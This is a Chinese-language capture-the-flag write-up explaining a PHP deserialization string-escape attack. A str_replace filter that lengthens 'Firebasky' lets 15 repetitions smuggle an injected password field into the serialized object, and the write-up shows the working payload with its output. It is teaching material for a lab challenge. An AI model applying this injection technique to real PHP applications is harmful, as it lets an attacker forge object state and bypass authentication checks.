原题如下
<?php
error_reporting(0);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yu22x')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
以下是分析过程:
由代码可得uname是GET方式传入的,password是默认值1
仅当password="yu22x"时,才能得到flag
我先构造一个理想的情况,就是password="yu22x"时的反序列化
<?php
class a
{
public $uname="fff";
public $password="yu22x";
// public function __construct($uname,$password)
// {
// $this->uname=$uname;
// $this->password=$password;
// }
// public function __wakeup()
// {
// if($this->password==='yu22x')
// {
// include('flag.php');
// echo $flag;
// }
// else
// {
// echo 'wrong password';
// }
// }
}
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
//$uname=$_GET[1];
//$password=1;
//$ser=filter(serialize(new a($uname,$password)));
//$test=unserialize($ser);
$aa =new a();
$a1=serialize($aa);
echo $a1;
$a2=filter(serialize($aa));
echo $a2;
var_dump(unserialize($a2));
O:1:"a":2:{s:5:"uname";s:3:"fff";s:8:"password";s:5:"yu22x";}O:1:"a":2:{s:5:"uname";s:3:"fff";s:8:"password";s:5:"yu22x";}object(a)#2 (2) {
["uname"]=>
string(3) "fff"
["password"]=>
string(5) "yu22x"
}
因为题目里password被定死了是1,所以考虑字符串逃逸的方法,我的理解字符串逃逸和sql注入本质都是一样的,都是闭合,就是要把反序列化后的字符串给闭合了
<?php
$aa='O:1:"a":2:{s:5:"uname";s:3:"fff";s:8:"password";s:5:"yu22x";}abcd';
var_dump($aa);
string(65) "O:1:"a":2:{s:5:"uname";s:3:"fff";s:8:"password";s:5:"yu22x";}abcd"
可以看到闭合后的字符串后面的一堆(abcd)是一点用没有的,因此我们可以利用这个特性来闭合
<?php
class a
{
public $uname='FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}';//Firebasky*15
public $password=1;
// public function __construct($uname,$password)
// {
// $this->uname=$uname;
// $this->password=$password;
// }
// public function __wakeup()
// {
// if($this->password==='yu22x')
// {
// include('flag.php');
// echo $flag;
// }
// else
// {
// echo 'wrong password';
// }
// }
}
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
//$uname=$_GET[1];
//$password=1;
//$ser=filter(serialize(new a($uname,$password)));
//$test=unserialize($ser);
$aa =new a();
$a1=serialize($aa);
echo $a1;
echo "|||";
$a2=filter(serialize($aa));
echo $a2;
var_dump(unserialize($a2));
O:1:"a":2:{s:5:"uname";s:165:"FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}";s:8:"password";i:1;}|||O:1:"a":2:{s:5:"uname";s:165:"FirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyup";s:8:"password";s:5:"yu22x";}";s:8:"password";i:1;}object(a)#2 (2) {
["uname"]=>
string(165) "FirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyupFirebaskyup"
["password"]=>
string(5) "yu22x"
}
因为;s:8:“password”;s:5:“yu22x”;}这30个字符要被填充,而一次filter过后会增加两个字符,因此30/2=15,要重复15次才能成功反序列化